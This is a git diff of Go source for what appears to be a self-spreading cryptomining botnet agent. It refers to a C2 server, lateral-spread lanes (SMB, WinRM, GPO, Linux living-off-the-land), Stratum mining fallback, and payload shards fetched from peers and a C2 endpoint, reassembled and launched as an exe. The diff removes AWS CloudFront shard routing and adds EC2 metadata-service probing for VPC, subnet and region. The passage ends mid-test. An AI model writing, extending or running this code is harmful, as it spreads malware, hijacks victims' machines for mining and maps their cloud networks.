diff --git a/agent/client/client.go b/agent/client/client.go index c495298..36627d5 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -100,8 +100,6 @@ type AgentClient struct { // spreadOnce ensures AutoSpreader starts at most once — after the first // successful WS authentication confirms we are on an owned fleet. spreadOnce sync.Once - // cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth. - cloudVenueOnce sync.Once // commandResultHook is set in tests to observe sendCommandResult without a live WS. commandResultHook func(action string, success bool, message string) @@ -405,8 +403,6 @@ func (c *AgentClient) authenticate() error { authPayload.ParentAgentID = parentID authPayload.SpreadGeneration = spreadGen authPayload.SpreadStrain = spreadStrain - authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH")) - authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID")) payload, _ := json.Marshal(authPayload) if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { return err @@ -486,10 +482,6 @@ func (c *AgentClient) authenticate() error { } }) - c.cloudVenueOnce.Do(func() { - c.startCloudVenueScout() - }) - if !c.cfg.IsSeederRole(c.fleetRoleHint()) { c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) } diff --git a/agent/client/fleet_torrent_gossip_test.go b/agent/client/fleet_torrent_gossip_test.go index dcc3379..54c3414 100644 --- a/agent/client/fleet_torrent_gossip_test.go +++ b/agent/client/fleet_torrent_gossip_test.go @@ -17,7 +17,7 @@ func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) { }}, }) c.handleFleetTorrentGossip(payload) - peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0", "") + peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0") if len(peers) != 1 || peers[0].AgentID != "peer" { t.Fatalf("peers=%+v", peers) } diff --git a/agent/client/policy.go b/agent/client/policy.go index 6841209..7d5b290 100644 --- a/agent/client/policy.go +++ b/agent/client/policy.go @@ -122,8 +122,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) { HashrateGateHPS float64 `json:"hashrate_gate_hps"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` - AwsS3ShardRegion string `json:"aws_s3_shard_region"` - AwsCloudFrontDomain string `json:"aws_cloudfront_domain"` SpreadTemperament json.RawMessage `json:"spread_temperament"` } if err := json.Unmarshal(raw, &policy); err != nil { @@ -137,12 +135,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) { } cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled - if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" { - cfg.AwsS3ShardRegion = v - } - if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" { - cfg.AwsCloudFrontDomain = v - } applySpreadTemperament(cfg, policy.SpreadTemperament) } diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 60f426e..45d8c00 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -55,8 +55,6 @@ type AuthPayload struct { ParentAgentID string `json:"parent_agent_id,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` - GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"` - StrainCardID string `json:"strain_card_id,omitempty"` FleetRole string `json:"fleet_role,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"` } diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go index 0863917..65eee5f 100644 --- a/agent/client/protocol_test.go +++ b/agent/client/protocol_test.go @@ -71,15 +71,6 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) { } } -func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) { - in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"} - var out AuthPayload - roundTrip(t, in, &out) - if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" { - t.Fatalf("genesis fields: %+v", out) - } -} - func TestAuthResponseJSONRoundTrip(t *testing.T) { in := AuthResponse{Success: true, AgentID: "a1", Error: ""} var out AuthResponse diff --git a/agent/config/config.go b/agent/config/config.go index ba7f3ab..9eb3309 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -149,12 +149,8 @@ type BuiltinConfig struct { ErasureLanesEnabled bool // FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy). FleetTorrentEnabled bool - AwsS3ShardRegion string - AwsCloudFrontDomain string // SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24. SubnetPrimarySeeder bool - PolicySnapshotPollURL string - EventBridgeRelayURL string } // BackupPool holds connection info for a fallback Stratum mining pool. diff --git a/agent/deploy/cloud_instance_meta.go b/agent/deploy/cloud_instance_meta.go new file mode 100644 index 0000000..cf91a1c --- /dev/null +++ b/agent/deploy/cloud_instance_meta.go @@ -0,0 +1,106 @@ +package deploy + +import ( + "context" + "fmt" + "io" + "net/http" + "strings" + "time" +) + +const ec2IMDSBase = "http://169.254.169.254/latest" + +type CloudInstanceMeta struct { + VpcID string `json:"vpc_id,omitempty"` + SubnetID string `json:"subnet_id,omitempty"` + Region string `json:"region,omitempty"` +} + +func (m CloudInstanceMeta) Present() bool { + return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != "" +} + +var ec2IMDSReadMeta = readEC2InstanceMetaImpl + +func ReadEC2InstanceMeta() CloudInstanceMeta { + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + meta, _ := ec2IMDSReadMeta(ctx) + return meta +} + +func readEC2InstanceMetaImpl(ctx context.Context) (CloudInstanceMeta, error) { + token, err := fetchEC2IMDSToken(ctx) + if err != nil { + return CloudInstanceMeta{}, err + } + region, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/region") + if strings.TrimSpace(region) == "" { + az, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/availability-zone") + az = strings.TrimSpace(az) + if len(az) > 1 { + region = az[:len(az)-1] + } + } + macs, err := fetchEC2IMDSPath(ctx, token, "meta-data/network/interfaces/macs/") + if err != nil || strings.TrimSpace(macs) == "" { + return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil + } + mac := strings.TrimSpace(strings.Split(macs, "\n")[0]) + if mac == "" { + return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil + } + if !strings.HasSuffix(mac, "/") { + mac += "/" + } + base := "meta-data/network/interfaces/macs/" + mac + vpcID, _ := fetchEC2IMDSPath(ctx, token, base+"vpc-id") + subnetID, _ := fetchEC2IMDSPath(ctx, token, base+"subnet-id") + return CloudInstanceMeta{VpcID: strings.TrimSpace(vpcID), SubnetID: strings.TrimSpace(subnetID), Region: strings.TrimSpace(region)}, nil +} + +func fetchEC2IMDSToken(ctx context.Context) (string, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodPut, ec2IMDSBase+"/api/token", nil) + if err != nil { + return "", err + } + req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "60") + resp, err := http.DefaultClient.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("imds token HTTP %d", resp.StatusCode) + } + body, err := io.ReadAll(io.LimitReader(resp.Body, 128)) + return strings.TrimSpace(string(body)), err +} + +func fetchEC2IMDSPath(ctx context.Context, token, path string) (string, error) { + path = strings.TrimPrefix(path, "/") + req, err := http.NewRequestWithContext(ctx, http.MethodGet, ec2IMDSBase+"/"+path, nil) + if err != nil { + return "", err + } + if token != "" { + req.Header.Set("X-aws-ec2-metadata-token", token) + } + resp, err := http.DefaultClient.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("imds HTTP %d", resp.StatusCode) + } + body, err := io.ReadAll(io.LimitReader(resp.Body, 64<<10)) + return strings.TrimSpace(string(body)), err +} + +// ec2IMDSToken and ec2IMDSFetch are shared helpers for cloud venue probing. +func ec2IMDSToken(ctx context.Context) (string, error) { return fetchEC2IMDSToken(ctx) } +func ec2IMDSFetch(ctx context.Context, token, path string) (string, error) { + return fetchEC2IMDSPath(ctx, token, path) +} \ No newline at end of file diff --git a/agent/deploy/cloud_instance_meta_test.go b/agent/deploy/cloud_instance_meta_test.go new file mode 100644 index 0000000..5cc99eb --- /dev/null +++ b/agent/deploy/cloud_instance_meta_test.go @@ -0,0 +1,29 @@ +package deploy + +import ( + "context" + "testing" +) + +func TestReadEC2InstanceMetaMockIMDS(t *testing.T) { + prev := ec2IMDSReadMeta + t.Cleanup(func() { ec2IMDSReadMeta = prev }) + ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) { + return CloudInstanceMeta{VpcID: "vpc-abc123", SubnetID: "subnet-def456", Region: "us-east-1"}, nil + } + meta := ReadEC2InstanceMeta() + if meta.VpcID != "vpc-abc123" { + t.Fatalf("meta=%+v", meta) + } +} + +func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) { + prev := ec2IMDSReadMeta + t.Cleanup(func() { ec2IMDSReadMeta = prev }) + ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) { + return CloudInstanceMeta{}, context.DeadlineExceeded + } + if ReadEC2InstanceMeta().Present() { + t.Fatal("expected empty meta on non-AWS fallback") + } +} diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index 146e547..5e859cf 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -1,4 +1,4 @@ -package deploy +package deploy import ( "crypto/hmac" @@ -25,8 +25,6 @@ type SpreadRouteHint struct { ClearanceLevel int `json:"clearance_level,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` - RouteVia string `json:"route_via,omitempty"` - PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"` } // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans. @@ -109,8 +107,7 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor if config.FleetTorrentEnabled(cfg) { c2 := c2BaseFromPlan(plan) localIP, _ := PrimaryLocalIPv4() - localRegion := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion) - if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), localRegion); eErr == nil { + if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil { return em + " (primary lane failed: " + err.Error() + ")", nil } } @@ -274,7 +271,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st switch lane { case "spread_smb_unc", "winrm", "gpo", "linux_lotl": return fmt.Sprintf( - "spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)", + "spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)", egress, strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID), strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet), @@ -404,9 +401,6 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string { strings.TrimSpace(hint.SeedAgentID), hint.Score, ) - if via := strings.TrimSpace(hint.RouteVia); via != "" { - routeNote += "; route_via=" + via - } if detail == "" { return routeNote } diff --git a/agent/deploy/discover_join_test.go b/agent/deploy/discover_join_test.go index 871893e..b705270 100644 --- a/agent/deploy/discover_join_test.go +++ b/agent/deploy/discover_join_test.go @@ -183,20 +183,6 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) { } } -func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) { - plan := DeployPlanBody{ - JoinLane: "ssm_document", Action: "ssm_document", - SSMDocument: `{"schemaVersion":"2.2"}`, - } - msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan) - if err != nil { - t.Fatal(err) - } - if !strings.Contains(msg, "ssm_document") { - t.Fatalf("msg=%q", msg) - } -} - func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) { plan := DeployPlanBody{ JoinLane: "spread_smb_unc", diff --git a/agent/deploy/erasure_staging.go b/agent/deploy/erasure_staging.go index 34c3893..7e7e282 100644 --- a/agent/deploy/erasure_staging.go +++ b/agent/deploy/erasure_staging.go @@ -17,10 +17,9 @@ import ( // ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan. type ErasureShardRef struct { - Index int `json:"index"` - Lane string `json:"lane"` - URL string `json:"url"` - EdgeURL string `json:"edge_url,omitempty"` + Index int `json:"index"` + Lane string `json:"lane"` + URL string `json:"url"` } // ErasurePlanBody is server-encoded Reed–Solomon metadata for multi-lane spread payloads. diff --git a/agent/deploy/fleet_torrent.go b/agent/deploy/fleet_torrent.go index bcabb27..289d061 100644 --- a/agent/deploy/fleet_torrent.go +++ b/agent/deploy/fleet_torrent.go @@ -21,12 +21,14 @@ const ( fleetTorrentZeroServerRetry = 30 * time.Minute ) +// FleetGossipKind mirrors server atlas fleet gossip kinds. const ( FleetGossipHaveShard = "have_shard" FleetGossipHealthy = "healthy" FleetGossipKnowNode = "know_node" ) +// FleetGossipRecord is one DHT advertisement from a fleet peer. type FleetGossipRecord struct { Kind string `json:"kind"` AgentID string `json:"agent_id,omitempty"` @@ -34,36 +36,37 @@ type FleetGossipRecord struct { Token string `json:"token,omitempty"` ShardIndex int `json:"shard_index,omitempty"` ShardHash string `json:"shard_hash,omitempty"` - Region string `json:"region,omitempty"` - ShardAdvert string `json:"shard_advert,omitempty"` TargetAgentID string `json:"target_agent_id,omitempty"` Healthy bool `json:"healthy,omitempty"` FetchURL string `json:"fetch_url,omitempty"` } +// ShardPeer is a known holder of one content-addressed shard. type ShardPeer struct { AgentID string Subnet string - Region string FetchURL string + Score int // higher = prefer LAN same-subnet } +// FleetShardDHT tracks content-addressed shard availability across the fleet. type FleetShardDHT struct { - mu sync.RWMutex - peers map[string]map[int][]ShardPeer - shardHash map[string]map[int]string - healthy map[string]bool - local map[string]map[int][]byte + mu sync.RWMutex + peers map[string]map[int][]ShardPeer // token -> index -> peers + healthy map[string]bool // agentID -> healthy + local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache) } var globalFleetDHT = &FleetShardDHT{ - peers: make(map[string]map[int][]ShardPeer), - shardHash: make(map[string]map[int]string), - healthy: make(map[string]bool), - local: make(map[string]map[int][]byte), + peers: make(map[string]map[int][]ShardPeer), + healthy: make(map[string]bool), + local: make(map[string]map[int][]byte), } -func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT } +// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace). +func FleetShardDHTSnapshot() *FleetShardDHT { + return globalFleetDHT +} func SetFleetShardDHT(dht *FleetShardDHT) { if dht != nil { @@ -76,6 +79,7 @@ func shardContentHash(data []byte) string { return hex.EncodeToString(sum[:]) } +// MergeFleetGossipRecords ingests relayed fleet torrent gossip. func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { if d == nil || len(records) == 0 { return @@ -88,28 +92,17 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) { if r.Token == "" || r.AgentID == "" { continue } - region := strings.TrimSpace(r.Region) - if region == "" && r.ShardAdvert != "" { - if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok { - region = parsed - } - } if d.peers[r.Token] == nil { d.peers[r.Token] = make(map[int][]ShardPeer) } - if d.shardHash[r.Token] == nil { - d.shardHash[r.Token] = make(map[int]string) - } - if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" { - d.shardHash[r.Token][r.ShardIndex] = h - } - peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL} + peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL} d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer) case FleetGossipHealthy: if r.AgentID != "" { d.healthy[r.AgentID] = r.Healthy } case FleetGossipKnowNode: + // know_node expands peer graph — treated as healthy signal for target if r.TargetAgentID != "" { d.healthy[r.TargetAgentID] = true } @@ -126,6 +119,7 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer { return append(peers, p) } +// StoreLocalShard caches one shard for primary-seeder fan-out. func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { if d == nil || token == "" || len(body) == 0 { return @@ -138,6 +132,7 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) { d.local[token][index] = append([]byte(nil), body...) } +// LocalShard returns a cached shard when this agent is primary seeder. func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { if d == nil { return nil, false @@ -154,7 +149,8 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) { return append([]byte(nil), body...), true } -func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer { +// PeersForShard returns known peers holding one shard index. +func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer { if d == nil { return nil } @@ -167,8 +163,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca out := make([]ShardPeer, len(raw)) copy(out, raw) sort.Slice(out, func(i, j int) bool { - si := peerScore(out[i], localSubnet, localRegion) - sj := peerScore(out[j], localSubnet, localRegion) + si := peerScore(out[i], localSubnet) + sj := peerScore(out[j], localSubnet) if si != sj { return si > sj } @@ -177,26 +173,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca return out } -func (d *FleetShardDHT) ShardContentHash(token string, index int) string { - if d == nil { - return "" - } - d.mu.RLock() - defer d.mu.RUnlock() - if d.shardHash[token] == nil { - return "" - } - return d.shardHash[token][index] -} - -func peerScore(p ShardPeer, localSubnet, localRegion string) int { +func peerScore(p ShardPeer, localSubnet string) int { if localSubnet != "" && p.Subnet == localSubnet { - return 4 - } - if localRegion != "" && p.Region == localRegion { - return 3 - } - if p.Region != "" { return 2 } if p.Subnet != "" { @@ -205,6 +183,7 @@ func peerScore(p ShardPeer, localSubnet, localRegion string) int { return 0 } +// PickLANNeighborPeers returns up to maxLAN peers on the same /24. func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer { if maxLAN <= 0 { maxLAN = fleetTorrentMaxLANNeighbors @@ -221,14 +200,15 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S return out } -func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) { +// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL. +func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) { if dht == nil { dht = globalFleetDHT } if body, ok := dht.LocalShard(token, index); ok { return body, nil } - peers := dht.PeersForShard(token, index, localSubnet, localRegion) + peers := dht.PeersForShard(token, index, localSubnet) try := func(url string) ([]byte, error) { if url == "" { return nil, fmt.Errorf("empty url") @@ -247,35 +227,18 @@ func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, local if localSubnet != "" && p.Subnet == localSubnet { continue } - if localRegion != "" && p.Region == localRegion { - if body, err := try(p.FetchURL); err == nil { - return body, nil - } - } - } - for _, p := range peers { - if localSubnet != "" && p.Subnet == localSubnet { - continue - } - if localRegion != "" && p.Region == localRegion { - continue - } if body, err := try(p.FetchURL); err == nil { return body, nil } } - if cloudFrontURL != "" { - if body, err := try(cloudFrontURL); err == nil { - return body, nil - } - } if c2URL != "" { return try(c2URL) } return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index) } -func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) { +// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback. +func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) { if !plan.Enabled || len(plan.Shards) == 0 { return "", fmt.Errorf("erasure plan disabled or empty") } @@ -311,15 +274,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba if c2 != "" && !strings.HasPrefix(c2URL, "http") { c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index) } - region := localRegion - if region == "" { - region = strings.TrimSpace(cfg.AwsS3ShardRegion) - } - cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index)) - if edge := strings.TrimSpace(ref.EdgeURL); edge != "" { - cfURL = edge - } - body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht) + body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht) if err != nil { continue } @@ -358,7 +313,8 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba return "fleet_torrent: " + msg, nil } -func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord { +// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders. +func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord { if fetchFn == nil { fetchFn = fetchErasureShardHTTP } @@ -369,33 +325,40 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn f if err != nil || len(body) == 0 { continue } - hash := shardContentHash(body) dht.StoreLocalShard(plan.ShardToken, ref.Index, body) records = append(records, FleetGossipRecord{ - Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index, - ShardHash: hash, Region: strings.TrimSpace(region), - ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true, + Kind: FleetGossipHaveShard, + Token: plan.ShardToken, + ShardIndex: ref.Index, + ShardHash: shardContentHash(body), + FetchURL: ref.URL, + Healthy: true, }) } return records } +// StartFleetTorrentReplication runs background shard re-replication for primary seeders. func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) { - if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil { + if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder { + return + } + if gossipFn == nil { return } go func() { ticker := time.NewTicker(5 * time.Minute) defer ticker.Stop() for range ticker.C { - region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion) - if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 { + recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP) + if len(recs) > 0 { gossipFn(recs) } } }() } +// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes. func StartZeroServerReconnect(reconnectFn func() error) { if reconnectFn == nil { return @@ -409,6 +372,7 @@ func StartZeroServerReconnect(reconnectFn func() error) { }() } +// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter. func ParseSwarmMagnetToken(magnet string) string { magnet = strings.TrimSpace(magnet) if magnet == "" { @@ -424,6 +388,7 @@ func ParseSwarmMagnetToken(magnet string) string { return "" } +// FetchShardManifestHTTP loads shard bytes from a manifest URL entry. func FetchShardManifestHTTP(manifestURL string) ([]byte, error) { if manifestURL == "" { return nil, fmt.Errorf("empty manifest url") diff --git a/agent/deploy/fleet_torrent_test.go b/agent/deploy/fleet_torrent_test.go index f95f244..7788f39 100644 --- a/agent/deploy/fleet_torrent_test.go +++ b/agent/deploy/fleet_torrent_test.go @@ -9,59 +9,19 @@ import ( ) func TestFleetShardDHTMergeAndFetch(t *testing.T) { - dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)} + dht := &FleetShardDHT{ + peers: make(map[string]map[int][]ShardPeer), + healthy: make(map[string]bool), + local: make(map[string]map[int][]byte), + } dht.MergeFleetGossipRecords([]FleetGossipRecord{{ - Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1", - ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1", + Kind: FleetGossipHaveShard, + AgentID: "peer-a", + Subnet: "10.1.2", + Token: "tok1", + ShardIndex: 0, + FetchURL: "mock://shard0", }}) - prev := erasureFetchFn - erasureFetchFn = func(url string) ([]byte, error) { - if url == "mock://shard0" { - return []byte("shard"), nil - } - return nil, nil - } - defer func() { erasureFetchFn = prev }() - body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht) - if err != nil || string(body) != "shard" { - t.Fatalf("body=%v err=%v", body, err) - } -} - -func TestFetchErasureShardFleetRegionPriority(t *testing.T) { - dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)} - dht.MergeFleetGossipRecords([]FleetGossipRecord{ - {Kind: FleetGossipHaveShard, AgentID: "eu", Token: "t", ShardIndex: 0, Region: "eu-west-1", FetchURL: "mock://eu"}, - {Kind: FleetGossipHaveShard, AgentID: "us", Token: "t", ShardIndex: 0, Region: "us-east-1", FetchURL: "mock://us"}, - }) - prev := erasureFetchFn - var got string - erasureFetchFn = func(url string) ([]byte, error) { got = url; return []byte("x"), nil } - defer func() { erasureFetchFn = prev }() - _, err := FetchErasureShardFleet("t", 0, "", "", "10.9.9", "us-east-1", dht) - if err != nil || got != "mock://us" { - t.Fatalf("got=%q err=%v", got, err) - } -} - -func TestFetchErasureShardFleetCloudFrontBeforeC2(t *testing.T) { - dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string)} - prev := erasureFetchFn - erasureFetchFn = func(url string) ([]byte, error) { - if url == "mock://cf" { - return []byte("cf"), nil - } - return nil, nil - } - defer func() { erasureFetchFn = prev }() - body, err := FetchErasureShardFleet("t", 0, "mock://c2", "mock://cf", "", "", dht) - if err != nil || string(body) != "cf" { - t.Fatalf("body=%s err=%v", body, err) - } -} - -func TestRunFleetTorrentStagingRoundtrip(t *testing.T) { - dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)} payload := []byte("fleet-torrent-roundtrip") p := erasureParams{DataShards: 2, ParityShards: 1} enc, _ := reedsolomon.New(p.DataShards, p.ParityShards) @@ -69,29 +29,79 @@ func TestRunFleetTorrentStagingRoundtrip(t *testing.T) { _ = enc.Encode(shards) prev := erasureFetchFn erasureFetchFn = func(url string) ([]byte, error) { - switch url { - case "mock://0": + if url == "mock://shard0" { return shards[0], nil - case "mock://1": - return shards[1], nil - case "mock://2": - return shards[2], nil - default: - return nil, nil } + if url == "mock://c2" { + return shards[1], nil + } + return nil, nil } defer func() { erasureFetchFn = prev }() + + body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "10.1.2", dht) + if err != nil || string(body) != string(shards[0]) { + t.Fatalf("fetch=%v err=%v", body, err) + } + plan := ErasurePlanBody{ + Enabled: true, Scheme: erasureSchemeReedSolomonV1, + DataShards: p.DataShards, ParityShards: p.ParityShards, + PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), + ShardToken: "tok1", Dest: t.TempDir() + `\w.exe`, Launch: "exe", + Shards: []ErasureShardRef{ + {Index: 0, URL: "mock://c2"}, + {Index: 1, URL: "mock://c2"}, + {Index: 2, URL: "mock://c2"}, + }, + } + dht.MergeFleetGossipRecords([]FleetGossipRecord{{ + Kind: FleetGossipHaveShard, AgentID: "peer-b", Subnet: "10.9.9", + Token: "tok1", ShardIndex: 1, FetchURL: "mock://shard1", + }}) + erasureFetchFn = func(url string) ([]byte, error) { + switch url { + case "mock://shard0": + return shards[0], nil + case "mock://shard1": + return shards[1], nil + case "mock://c2": + return nil, nil + } + return nil, nil + } prevLaunch := erasureLaunchFn - erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { return "ok", nil } + erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { + return "ok", nil + } defer func() { erasureLaunchFn = prevLaunch }() SetFleetShardDHT(dht) - plan := ErasurePlanBody{ - Enabled: true, Scheme: erasureSchemeReedSolomonV1, DataShards: p.DataShards, ParityShards: p.ParityShards, - PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), ShardToken: "tok1", - Dest: t.TempDir() + `\w.exe`, Launch: "exe", - Shards: []ErasureShardRef{{Index: 0, URL: "mock://0"}, {Index: 1, URL: "mock://1"}, {Index: 2, URL: "mock://2"}}, - } - if _, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetTorrentEnabled: true}}, plan, "", "10.1.2", "us-east-1"); err != nil { + msg, err := RunFleetTorrentStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + FleetTorrentEnabled: true, WorkerName: "w", + }}, plan, "", "10.1.2") + if err != nil { t.Fatal(err) } + if msg == "" { + t.Fatal("empty msg") + } +} + +func TestPickLANNeighborPeersCapsAtThree(t *testing.T) { + peers := []ShardPeer{ + {AgentID: "a", Subnet: "10.0.0"}, + {AgentID: "b", Subnet: "10.0.0"}, + 